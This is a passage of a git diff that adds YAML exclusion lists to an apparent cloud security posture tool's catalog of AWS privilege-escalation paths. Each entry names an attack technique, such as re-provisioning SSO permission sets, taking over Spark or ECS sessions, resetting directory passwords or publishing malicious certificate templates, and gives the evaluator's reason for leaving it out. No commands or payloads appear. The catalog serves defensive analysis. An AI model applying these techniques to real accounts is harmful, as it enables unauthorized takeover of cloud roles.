proof, so update rights alone establish no gained + permission. + prior_id: aws-sso-putinlinepolicytopermissionset +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md#ssoattachmanagedpolicytopermissionset-ssoprovisionpermissionset + source_revision: 171e422299 + technique: Attach an AWS-managed policy to a permission set and re-provision it + reason: Source IAM principal to a credentialed, controlled Identity Center user/group + and its exact permission-set assignment is only described in conditions; the evaluator + has no source-subject-assignment proof, so update rights alone establish no gained + permission. + prior_id: aws-sso-attachmanagedpolicytopermissionset +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md#ssoattachcustomermanagedpolicyreferencetopermissionset-ssoprovisionpermissionset + source_revision: 171e422299 + technique: Attach a customer-managed policy reference to a permission set and re-provision + it + reason: Source IAM principal to a credentialed, controlled Identity Center user/group + and its exact permission-set assignment is only described in conditions; the evaluator + has no source-subject-assignment proof, so update rights alone establish no gained + permission. + prior_id: aws-sso-attachcustomermanagedpolicyreference +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md#ssodeletepermissionsboundaryfrompermissionset + source_revision: 171e422299 + technique: Remove a restricting policy or boundary from a permission set and re-provision + it + reason: Source IAM principal to a credentialed, controlled Identity Center user/group + and its exact permission-set assignment is only described in conditions; the evaluator + has no source-subject-assignment proof, so update rights alone establish no gained + permission. + prior_id: aws-sso-remove-permission-set-restriction +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md#identitystorecreategroupmembership + source_revision: 171e422299 + technique: Add an Identity Center user controlled by the source to a group + reason: CreateGroupMembership can add an arbitrary Identity Center user, but the + evaluator does not prove the source controls that user or that the target permission + set is assigned to the chosen group. + prior_id: aws-identitystore-creategroupmembership +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md#ssocreateaccountassignment + source_revision: 171e422299 + technique: Assign a permission set to a controlled user in an account + reason: CreateAccountAssignment can assign an arbitrary user/group, but the evaluator + does not prove the source controls its credentials or that the assignment is usable + by the source. + prior_id: aws-sso-createaccountassignment +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md#ssocreatepermissionset--policy-attach--ssocreateaccountassignment--build-an-admin-path-from-scratch + source_revision: 171e422299 + technique: Create an admin permission set and assign it to a controlled user in + a member account + reason: The create/attach/assign actions grant a chosen Identity Center subject, + but no source-to-controlled-subject credential join is evaluated. + prior_id: aws-sso-createpermissionset-attach-assign +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md#account-accesscreateentitlement--assign-an-existing-iam-role-to-a-controlled-identity-center-user + source_revision: 171e422299 + technique: Assign an existing IAM role to a controlled Identity Center user through + Account Access Manager + reason: CreateEntitlement grants the selected Identity Center subject; the evaluator + does not prove the source controls that subject or can use the entitlement. + prior_id: aws-account-access-createentitlement diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_studio_space_strict_reaudit_20261016.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_studio_space_strict_reaudit_20261016.yaml new file mode 100644 index 0000000000..7a929025b5 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_studio_space_strict_reaudit_20261016.yaml @@ -0,0 +1,8 @@ +# Exact originals: docs/privesc-ledgers/aws-scope-archive-20261016/studio-space-strict-re-audit.yaml.txt. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md#set-lifecycle-configuration-on-sagemaker-studio + source_revision: b587e6bd26 + technique: Attach a controlled Studio lifecycle configuration to an existing space + reason: No sagemaker_space host or space-to-execution-role mapping is collected; via_resource_type + cannot identify the exact target role and the entry explicitly falls back to any role trusting + SageMaker. + prior_id: aws-sagemaker-attach-studio-lifecycle-config-space diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_sweep.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_sweep.yaml new file mode 100644 index 0000000000..af15cff693 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_sweep.yaml @@ -0,0 +1 @@ +# Reviewed privilege-escalation sweep exclusions. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_uncollected_host_join_strict_reaudit_20261016.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_uncollected_host_join_strict_reaudit_20261016.yaml new file mode 100644 index 0000000000..04ddc1c111 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_uncollected_host_join_strict_reaudit_20261016.yaml @@ -0,0 +1,165 @@ +# Exact originals: docs/privesc-ledgers/aws-scope-archive-20261016/uncollected-host-join-strict-re-audit.yaml.txt. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-managed-flink-privesc/README.md#updateapplication--code-control--application-execution-role + source_revision: 171e422299 + technique: Repoint the code of an existing Managed Flink application that keeps its execution + role + reason: The kinesisanalytics_application resource-to-role attachment is not loaded by the AWS + evaluator (absent from HOST_KIND); service trust or a guessed resource cannot identify the + exact role that the source operation reaches. + prior_id: aws-flink-updateapplication-code +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-managed-flink-privesc/README.md#studio-presigned-url-to-zeppelin-execution + source_revision: 171e422299 + technique: Open a running Managed Flink Studio notebook through a presigned URL + reason: The kinesisanalytics_application resource-to-role attachment is not loaded by the AWS + evaluator (absent from HOST_KIND); service trust or a guessed resource cannot identify the + exact role that the source operation reaches. + prior_id: aws-flink-studio-presigned-url +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-athena-spark-role-privesc/README.md#athenastartcalculationexecution--execute-code-in-an-existing-spark-session + source_revision: 171e422299 + technique: Submit a calculation to an existing Athena Spark session + reason: The athena_workgroup resource-to-role attachment is not loaded by the AWS evaluator + (absent from HOST_KIND); service trust or a guessed resource cannot identify the exact role + that the source operation reaches. + prior_id: aws-athena-startcalculationexecution-existing-session +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-athena-spark-role-privesc/README.md#athenagetsessionendpoint--take-over-an-active-spark-connect-session + source_revision: 171e422299 + technique: Obtain the Spark Connect endpoint and token of an active Athena Spark session + reason: The athena_workgroup resource-to-role attachment is not loaded by the AWS evaluator + (absent from HOST_KIND); service trust or a guessed resource cannot identify the exact role + that the source operation reaches. + prior_id: aws-athena-getsessionendpoint-spark-connect +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-athena-spark-role-privesc/README.md#athenacreatepresignednotebookurl--take-over-a-running-spark-notebook + source_revision: 171e422299 + technique: Mint a presigned URL for a running Athena Spark notebook + reason: The athena_workgroup resource-to-role attachment is not loaded by the AWS evaluator + (absent from HOST_KIND); service trust or a guessed resource cannot identify the exact role + that the source operation reaches. + prior_id: aws-athena-createpresignednotebookurl +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-athena-stored-query-privesc/README.md#athenaupdatenotebook--poison-a-spark-notebook-executed-later + source_revision: 171e422299 + technique: Replace the cells of an Athena Spark notebook that is executed later + reason: The athena_workgroup resource-to-role attachment is not loaded by the AWS evaluator + (absent from HOST_KIND); service trust or a guessed resource cannot identify the exact role + that the source operation reaches. + prior_id: aws-athena-updatenotebook-poison +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift-streams-privesc/README.md#gameliftstreamscreatestreamsessionadminshell-on-a-session-with-a-role + source_revision: 6fb9ac51fd + technique: Open an admin shell in a live stream session that has a role + reason: The gameliftstreams_stream_session resource-to-role attachment is not loaded by the + AWS evaluator (absent from HOST_KIND); service trust or a guessed resource cannot identify + the exact role that the source operation reaches. + prior_id: aws-gameliftstreams-createstreamsessionadminshell +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-appstream-privesc/README.md#appstreamcreatestreamingurl--enter-an-existing-fleet-under-its-machine-role + source_revision: 6fb9ac51fd + technique: Open a streaming session on an existing fleet that has an IAM role + reason: The appstream_fleet resource-to-role attachment is not loaded by the AWS evaluator (absent + from HOST_KIND); service trust or a guessed resource cannot identify the exact role that the + source operation reaches. + prior_id: aws-appstream-createstreamingurl-existing-fleet +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-appstream-privesc/README.md#appstreamcreateimagebuilderstreamingurl--administratorroot-access-to-an-existing-builder + source_revision: 6fb9ac51fd + technique: Connect to an existing image builder that has an IAM role + reason: The appstream_image_builder resource-to-role attachment is not loaded by the AWS evaluator + (absent from HOST_KIND); service trust or a guessed resource cannot identify the exact role + that the source operation reaches. + prior_id: aws-appstream-createimagebuilderstreamingurl +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-appstream-privesc/README.md#appstreamcreateappblockbuilderstreamingurl--take-over-an-existing-app-package-builder + source_revision: 6fb9ac51fd + technique: Connect to an existing app block builder that has an IAM role + reason: The appstream_app_block_builder resource-to-role attachment is not loaded by the AWS + evaluator (absent from HOST_KIND); service trust or a guessed resource cannot identify the + exact role that the source operation reaches. + prior_id: aws-appstream-createappblockbuilderstreamingurl +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-appstream-privesc/README.md#appstreamupdatefleet--replace-an-existing-fleet-image-while-retaining-its-role + source_revision: 6fb9ac51fd + technique: Replace an existing AppStream fleet image or session-script archive while retaining + its role + reason: The appstream_fleet resource-to-role attachment is not loaded by the AWS evaluator (absent + from HOST_KIND); service trust or a guessed resource cannot identify the exact role that the + source operation reaches. + prior_id: aws-appstream-updatefleet-image-swap +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-serverless-privesc/README.md#emr-serverlessgetsessionendpoint--take-over-an-existing-spark-connect-session + source_revision: 171e422299 + technique: Attach to an active EMR Serverless Spark Connect session + reason: The emr-serverless_session resource-to-role attachment is not loaded by the AWS evaluator + (absent from HOST_KIND); service trust or a guessed resource cannot identify the exact role + that the source operation reaches. + prior_id: aws-emr-serverless-getsessionendpoint +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-serverless-privesc/README.md#emr-serverlessupdateapplication + source_revision: 171e422299 + technique: Poison the default runtime configuration of an EMR Serverless application + reason: The emr-serverless_application resource-to-role attachment is not loaded by the AWS + evaluator (absent from HOST_KIND); service trust or a guessed resource cannot identify the + exact role that the source operation reaches. + prior_id: aws-emr-serverless-updateapplication-runtime-config +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md#privesc-to-ecs + source_revision: 171e422299 + technique: Open an SSM session into an ECS container with ExecuteCommand enabled + reason: The ecs_task resource-to-role attachment is not loaded by the AWS evaluator (absent + from HOST_KIND); service trust or a guessed resource cannot identify the exact role that the + source operation reaches. + prior_id: aws-ssm-startsession-ecs-exec +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md#ssmsendcommand + source_revision: 6fb9ac51fd + technique: Run commands or open sessions on hybrid managed nodes that carry an SSM service role + reason: The ssm_managed_instance resource-to-role attachment is not loaded by the AWS evaluator + (absent from HOST_KIND); service trust or a guessed resource cannot identify the exact role + that the source operation reaches. + prior_id: aws-ssm-exec-hybrid-managed-node +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc/README.md#elasticmapreduceaddjobflowsteps--execute-as-an-existing-cluster-instance-profile + source_revision: 171e422299 + technique: Add steps to an existing EMR cluster + reason: The emr_cluster resource-to-role attachment is not loaded by the AWS evaluator (absent + from HOST_KIND); service trust or a guessed resource cannot identify the exact role that the + source operation reaches. + prior_id: aws-emr-addjobflowsteps +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-synthetics-privesc/README.md#dry-run-replacement-code--passrole + source_revision: 171e422299 + technique: Dry-run replacement canary code under the canary's execution role + reason: The synthetics_canary resource-to-role attachment is not loaded by the AWS evaluator + (absent from HOST_KIND); service trust or a guessed resource cannot identify the exact role + that the source operation reaches. + prior_id: aws-synthetics-startcanarydryrun-replacement-code +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc/README.md#statesupdatestatemachine--not-always-required-iampassrole + source_revision: 171e422299 + technique: Modify the definition of an existing state machine keeping its role + reason: The stepfunctions_state_machine resource-to-role attachment is not loaded by the AWS + evaluator (absent from HOST_KIND); service trust or a guessed resource cannot identify the + exact role that the source operation reaches. + prior_id: aws-stepfunctions-updatestatemachine-existing-role +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc/README.md#elasticbeanstalkcreateapplicationversion-elasticbeanstalkupdateenvironment-cloudformationgettemplate-cloudformationdescribestackresources-cloudformationdescribestackresource-autoscalingdescribeautoscalinggroups-autoscalingsuspendprocesses + source_revision: 171e422299 + technique: Deploy an attacker-hosted application version to an existing environment + reason: The elasticbeanstalk_environment resource-to-role attachment is not loaded by the AWS + evaluator (absent from HOST_KIND); service trust or a guessed resource cannot identify the + exact role that the source operation reaches. + prior_id: aws-elasticbeanstalk-createapplicationversion-updateenvironment +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift/README.md#managed-compute-shell-with-gameliftgetcomputeaccess + source_revision: b587e6bd26 + technique: Open a Session Manager shell on a GameLift fleet compute and use its instance role + reason: The gamelift_fleet resource-to-role attachment is not loaded by the AWS evaluator (absent + from HOST_KIND); service trust or a guessed resource cannot identify the exact role that the + source operation reaches. + prior_id: aws-gamelift-getcomputeaccess-fleet-instance-role +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mainframe-modernization-privesc/README.md#m2updateapplication---store-a-malicious-application-version-for-later-deployment + source_revision: b587e6bd26 + technique: Deploy a modified M2 application version under its existing role + reason: The m2_application resource-to-role attachment is not loaded by the AWS evaluator (absent + from HOST_KIND); service trust or a guessed resource cannot identify the exact role that the + source operation reaches. + prior_id: aws-m2-updateapplication-deploy-existing-role +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-agentcore-privesc/README.md#aws---agentcore-harness-rce-via-indirect-prompt-injection + source_revision: b587e6bd26 + technique: Invoke an existing AgentCore harness with its shell tool to run commands as its execution + role + reason: The bedrock-agentcore_harness resource-to-role attachment is not loaded by the AWS evaluator + (absent from HOST_KIND); service trust or a guessed resource cannot identify the exact role + that the source operation reaches. + prior_id: aws-bedrock-agentcore-invokeharness-shell-existing +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md#lambdacreatemicrovmshellauthtoken--shell-into-an-existing-lambda-microvm + source_revision: 171e422299 + technique: Open a shell into a running Lambda MicroVM + reason: The lambda_microvm resource-to-role attachment is not loaded by the AWS evaluator (absent + from HOST_KIND); service trust or a guessed resource cannot identify the exact role that the + source operation reaches. + prior_id: aws-lambda-microvm-createmicrovmshellauthtoken diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_uncollected_service_join_final_reaudit_20261016.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_uncollected_service_join_final_reaudit_20261016.yaml new file mode 100644 index 0000000000..be276814df --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_uncollected_service_join_final_reaudit_20261016.yaml @@ -0,0 +1,72 @@ +# Exact originals: docs/privesc-ledgers/aws-scope-archive-20261016/uncollected-service-join-final-re-audit.yaml.txt. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-amplify-privesc/README.md#amplifyupdateapp-amplifystartjob + source_revision: 6fb9ac51fd + technique: Change an Amplify app build specification and start a build + reason: The amplify resource-to-role attachment is not loaded by the AWS evaluator (absent from + HOST_KIND), so service-role trust cannot identify the exact role reached by the source action. + The attached resource ARN and action coverage cannot be proven. + prior_id: aws-amplify-updateapp-startjob +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-amplify-privesc/README.md#amplifyupdatebranch-amplifystartjob--branch-scoped-build-code-execution + source_revision: 6fb9ac51fd + technique: Change an Amplify branch's build environment variables and start a build + reason: The amplify resource-to-role attachment is not loaded by the AWS evaluator (absent from + HOST_KIND), so service-role trust cannot identify the exact role reached by the source action. + The attached resource ARN and action coverage cannot be proven. + prior_id: aws-amplify-updatebranch-startjob +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc/README.md#apprunnerupdateservice + source_revision: 6fb9ac51fd + technique: Update an existing App Runner service that has an instance role + reason: The apprunner resource-to-role attachment is not loaded by the AWS evaluator (absent from + HOST_KIND), so service-role trust cannot identify the exact role reached by the source action. + The attached resource ARN and action coverage cannot be proven. + prior_id: aws-apprunner-updateservice +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-batch-privesc/README.md#batchsubmitjob + source_revision: 6fb9ac51fd + technique: Submit a job using an existing job definition with a job role + reason: The ecs resource-to-role attachment is not loaded by the AWS evaluator (absent from HOST_KIND), + so service-role trust cannot identify the exact role reached by the source action. The attached + resource ARN and action coverage cannot be proven. + prior_id: aws-batch-submitjob-existing-definition +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-privesc/README.md#bedrock-agentcorestartcodeinterpretersession--bedrock-agentcoreinvokecodeinterpreter---code-interpreter-execution-role-pivot + source_revision: 6fb9ac51fd + technique: Run code in an existing AgentCore Code Interpreter with an execution role + reason: The bedrock-agentcore resource-to-role attachment is not loaded by the AWS evaluator (absent + from HOST_KIND), so service-role trust cannot identify the exact role reached by the source action. + The attached resource ARN and action coverage cannot be proven. + prior_id: aws-bedrock-agentcore-codeinterpreter-existing +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-agentcore-privesc/README.md#bedrock-agentcorecreateharness-iampassrole-invokeagentruntimecommand--root-shell-as-a-role + source_revision: 6fb9ac51fd + technique: Run shell commands in an existing AgentCore agent runtime + reason: The bedrock-agentcore resource-to-role attachment is not loaded by the AWS evaluator (absent + from HOST_KIND), so service-role trust cannot identify the exact role reached by the source action. + The attached resource ARN and action coverage cannot be proven. + prior_id: aws-bedrock-agentcore-invokeagentruntimecommand-existing-runtime +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md#ecsexecutecommand-ecsdescribetasks-and-optionally-a-task-launching-action + source_revision: 171e422299 + technique: Execute commands in a running ECS task with ECS Exec + reason: The ecs resource-to-role attachment is not loaded by the AWS evaluator (absent from HOST_KIND), + so service-role trust cannot identify the exact role reached by the source action. The attached + resource ARN and action coverage cannot be proven. + prior_id: aws-ecs-executecommand +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md#hijack-ecs-scheduling-via-malicious-capacity-provider-ec2-asg-takeover + source_revision: 171e422299 + technique: Move a service onto a capacity provider backed by instances the source controls + reason: The ecs resource-to-role attachment is not loaded by the AWS evaluator (absent from HOST_KIND), + so service-role trust cannot identify the exact role reached by the source action. The attached + resource ARN and action coverage cannot be proven. + prior_id: aws-ecs-capacity-provider-hijack +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mwaa-privesc/README.md#classic-mwaa-airflowcreateweblogintoken--airflowcreateclitoken--code-execution-as-the-environment-execution-role + source_revision: b587e6bd26 + technique: Mint an Airflow CLI token for an MWAA environment and run code as its execution role + reason: The airflow-env.amazonaws.com resource-to-role attachment is not loaded by the AWS evaluator + (absent from HOST_KIND), so service-role trust cannot identify the exact role reached by the + source action. The attached resource ARN and action coverage cannot be proven. + prior_id: aws-mwaa-createclitoken-execution-role +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mwaa-privesc/README.md#classic-mwaa-airflowcreateweblogintoken--airflowcreateclitoken--code-execution-as-the-environment-execution-role + source_revision: b587e6bd26 + technique: Mint an Airflow web-login token for an MWAA environment and run code as its execution + role + reason: The airflow-env.amazonaws.com resource-to-role attachment is not loaded by the AWS evaluator + (absent from HOST_KIND), so service-role trust cannot identify the exact role reached by the + source action. The attached resource ARN and action coverage cannot be proven. + prior_id: aws-mwaa-createweblogintoken-execution-role diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_unjoined_subject_strict_reaudit_20261016.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_unjoined_subject_strict_reaudit_20261016.yaml new file mode 100644 index 0000000000..404023d3b1 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_unjoined_subject_strict_reaudit_20261016.yaml @@ -0,0 +1,107 @@ +# Exact originals: docs/privesc-ledgers/aws-scope-archive-20261016/unjoined-subject-strict-re-audit.yaml.txt. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md#cloudformationupdatestackset + source_revision: 6fb9ac51fd + technique: Update an existing self-managed StackSet + reason: UpdateStackSet changes an existing StackSet, but no collected StackSet-to-administration-role + or execution-role join identifies the target; service trust alone overclaims the pivot. + prior_id: aws-cloudformation-updatestackset-attached +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-appsync-privesc/README.md#appsynccreatedatasource-iampassrole--drive-an-arbitrary-role-through-a-graphql-field + source_revision: 171e422299 + technique: Attach a passed role to an IAM-signed HTTP data source and call it through a resolver + reason: Create/UpdateDataSource and resolver changes do not prove the source can call a field + under the API authorization mode; callable API/field control is only prose. + prior_id: aws-appsync-passrole-datasource-sigv4 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamaddclientidtoopenidconnectprovider--widen-an-existing-federation-trust + source_revision: 171e422299 + technique: Register an attacker-chosen audience on an OIDC provider that roles trust + reason: Adding an audience does not prove the source holds an issuer-signed token whose exact + claims satisfy the target role trust. + prior_id: aws-iam-oidcprovider-add-client-id +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamcreateopenidconnectprovider--iamcreatesamlprovider--bring-your-own-identity-provider + source_revision: 171e422299 + technique: Register an OIDC provider that a role trusts but that no longer exists + reason: Creating an OIDC provider at an orphaned ARN does not prove source possession of a signed + token with claims satisfying the exact target role trust. + prior_id: aws-iam-createoidcprovider-orphaned-trust +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#path-name-and-arn-conditions + source_revision: b587e6bd26 + technique: Create a role in a trusted account to satisfy another account's role trust + reason: The selector checks trust against the existing source, not the newly created role; no + typed new-role ARN to external trust-pattern join proves the target accepts it. + prior_id: aws-iam-createrole-satisfy-cross-account-trust +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-control-tower-privesc/README.md#account-factory--provision-an-account-you-control + source_revision: 171e422299 + technique: Update an Account Factory provisioned account to grant AWSAdministratorAccess to + a controlled Identity Center user + reason: Product update does not prove the chosen SSO user or mailbox is source-controlled, nor + which member-account admin is gained; both joins are prose conditions. + prior_id: aws-controltower-accountfactory-update-sso-user +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md#sso-directoryupdatepassword + source_revision: 171e422299 + technique: Reset the password of an Identity Center user + reason: UpdatePassword may reset another Identity Center user, but the target entity is account-wide + and does not bind an exact user, usable sign-in, MFA state, or gained assignment. + prior_id: aws-sso-directory-updatepassword +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md#identitystorecreateuser--sso-directorycreateuser--group-membership--assignment + source_revision: 6fb9ac51fd + technique: Create an Identity Center user and add it to a privileged group + reason: CreateUser and CreateGroupMembership do not prove the source receives usable sign-in + credentials for the new Identity Center user or that the named group maps to the target permission + set. + prior_id: aws-identitystore-createuser-groupmembership +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md#identitystorecreateuser--sso-directorycreateuser--group-membership--assignment + source_revision: 6fb9ac51fd + technique: Create an Identity Center user and assign it a permission set + reason: CreateUser and CreateAccountAssignment do not prove source control of a usable new-user + credential or exact permission-set assignment scope. + prior_id: aws-identitystore-createuser-createaccountassignment +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-pca-connector-ad-privesc/README.md#pca-connector-adcreatetemplate--publish-a-malicious-certificate-template-esc1--esc9 + source_revision: 171e422299 + technique: Publish a malicious certificate template through PCA Connector for AD and enroll + as a domain admin + reason: Template creation does not prove the source controls an enrollable AD identity or that + certificate mapping authenticates as the exact directory admin. + prior_id: aws-pca-connector-ad-createtemplate-esc1 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-pca-connector-ad-privesc/README.md#pca-connector-adupdatetemplate--weaken-an-existing-legitimate-template-in-place + source_revision: 171e422299 + technique: Weaken an existing PCA Connector for AD certificate template in place + reason: Template update does not prove the source controls an enrollable AD identity or that + certificate mapping authenticates as the exact directory admin. + prior_id: aws-pca-connector-ad-updatetemplate +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc/README.md#stsassumeroot--privileged-root-sessions-into-any-member-account + source_revision: 171e422299 + technique: Obtain a privileged root-user session in a member account with sts:AssumeRoot + reason: AssumeRoot returns a short task-policy-scoped root session, not full account-admin authority; + task policy and management/delegated-admin source scope are not modeled as bounded grants. + prior_id: aws-sts-assumeroot-member-accounts +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc/README.md#dsresetuserpassword + source_revision: 171e422299 + technique: Reset the password of a directory user with Management Console access + reason: ResetUserPassword on a directory does not prove the selected user is assigned the modeled + AWS role or that console sign-in with the new password is usable. + prior_id: aws-ds-resetuserpassword +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc/README.md#dsresetuserpassword + source_revision: 6fb9ac51fd + technique: Reset the password of the built-in directory administrator + reason: The directory-admin target is an account-level entity, not an exact resettable user; + no evidence joins a specific user, credential usability, and admin rights. + prior_id: aws-ds-resetuserpassword-directory-admin +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codeconnections-privesc/README.md#codeconnectionscreatesyncconfiguration--codeconnectionsupdatesyncconfiguration--codeconnectionspassrepository--iampassrole + source_revision: 171e422299 + technique: Point a CloudFormation Git sync configuration at a controlled branch with a passed + sync role + reason: Git sync configuration plus PassRole does not prove the source can write the monitored + repository branch/deployment file; external Git control is only prose. + prior_id: aws-codeconnections-gitsync-passrole +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codeconnections-privesc/README.md#redirect-a-repository-link + source_revision: b587e6bd26 + technique: Redirect a repository link consumed by CloudFormation Git sync to a controlled connection + reason: Repository link update does not join an existing sync configuration to the target role + or prove control of the replacement Git installation and branch. + prior_id: aws-codeconnections-updaterepositorylink-gitsync-role +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-supply-chain-privesc/README.md#scnassignadminpermissionstouser + source_revision: 171e422299 + technique: Assign Supply Chain application administrator to a controlled Identity Center user + reason: AssignAdminPermissionsToUser names an Identity Center user, but source control and sign-in + for that exact user are only prose conditions. + prior_id: aws-supplychain-assignadmin diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_unproven_ssm_dlm_target_final_reaudit_20261016.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_unproven_ssm_dlm_target_final_reaudit_20261016.yaml new file mode 100644 index 0000000000..072655b491 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_unproven_ssm_dlm_target_final_reaudit_20261016.yaml @@ -0,0 +1,15 @@ +# Exact originals: docs/privesc-ledgers/aws-scope-archive-20261016/unproven-ssm-dlm-target-final-re-audit.yaml.txt. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dlm-privesc/README.md#dlmcreatelifecyclepolicy-iampassrole--scheduled-commands-through-dlm-prepost-scripts + source_revision: 171e422299 + technique: Schedule SSM command documents on tagged instances through DLM pre/post scripts + reason: "The source can create or update a DLM policy, but the passed DLM role\u2019s SendCommand\ + \ authority, target tags, and matched managed instance are only prose conditions. The evaluator\ + \ cannot prove a specific EC2 profile role is reached." + prior_id: aws-dlm-passrole-lifecyclepolicy-scripts +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md#ssmresumesession + source_revision: 171e422299 + technique: Resume another user's disconnected Session Manager session + reason: The evaluator does not collect resumable session ID to EC2 instance to instance-profile + role. ssm:ResumeSession on * alone cannot establish that any specific inventoried node role is + reached. + prior_id: aws-ssm-resumesession diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_verify_a66f.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_verify_a66f.yaml new file mode 100644 index 0000000000..b4873cf2c1 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_verify_a66f.yaml @@ -0,0 +1,3014 @@ +# Independent AWS heading coverage review at source revision a66f094ede. +# Each source anchor was screened against the full section and the existing catalog. +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-account-management-persistence/README.md#accountputalternatecontact--hijack-the-securityoperationsbilling-contact-to-intercept-aws-notifications + technique: '`account:PutAlternateContact` — hijack the SECURITY/OPERATIONS/BILLING contact to intercept AWS notifications' + reason: 'Documented impact: Interception of AWS security/abuse/compromise notifications and operational alerts + (the owner is blinded to AWS reaching out about the very compromise), plus a foothold for social-engineering + AWS Support — a stealthy,... This section does not establish another AWS principal or attacker-controlled role + execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-agent-registry-persistence/README.md#agent-registryupdateregistry--persist-automatic-approval-of-malicious-records + technique: '`agent-registry:UpdateRegistry` — persist automatic approval of malicious records' + reason: Persistence/configuration of `agent-registry:UpdateRegistry` — persist automatic approval of malicious + records; the section does not identify a new AWS principal whose privileges the caller gains from this action + alone. + source_revision: a66f094ede +- source: 